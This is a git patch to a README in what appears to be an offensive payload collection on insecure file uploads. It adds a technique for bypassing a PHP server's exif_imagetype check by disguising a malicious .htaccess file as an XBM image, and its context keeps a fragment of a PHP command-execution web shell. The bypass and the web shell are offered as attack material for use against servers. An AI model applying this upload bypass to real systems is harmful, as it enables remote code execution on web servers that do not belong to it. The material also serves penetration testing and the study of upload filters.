From b30ac4e5bbf3213c4c50fc966d70a7c7ddc70e3c Mon Sep 17 00:00:00 2001 From: Vladislav Nechakhin Date: Sat, 2 Feb 2019 17:29:04 +0700 Subject: [PATCH] Add exif_imagetype bypass --- Upload insecure files/PHP .htaccess/README.md | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/Upload insecure files/PHP .htaccess/README.md b/Upload insecure files/PHP .htaccess/README.md index dabfc53..aa2eaf3 100644 --- a/Upload insecure files/PHP .htaccess/README.md +++ b/Upload insecure files/PHP .htaccess/README.md @@ -25,7 +25,18 @@ AddType application/x-httpd-php .htaccess &1"); ?> ``` +# .htaccess upload as image + +If on server side for determine the type of an image used exif_imagetype function, try upload .htaccess file like [X BitMap (XBM)](https://en.wikipedia.org/wiki/X_BitMap) image. + +```python +#define test_width 100 +#define test_height 100 + +# .htaccess file +``` + ## Thanks to * [ATTACKING WEBSERVERS VIA .HTACCESS - By Eldar Marcussen](http://www.justanotherhacker.com/2011/05/htaccess-based-attacks.html) -* [](https://blog.qualys.com/securitylabs/2015/10/22/unrestricted-file-upload-vulnerability) +* [Protection from Unrestricted File Upload Vulnerability](https://blog.qualys.com/securitylabs/2015/10/22/unrestricted-file-upload-vulnerability)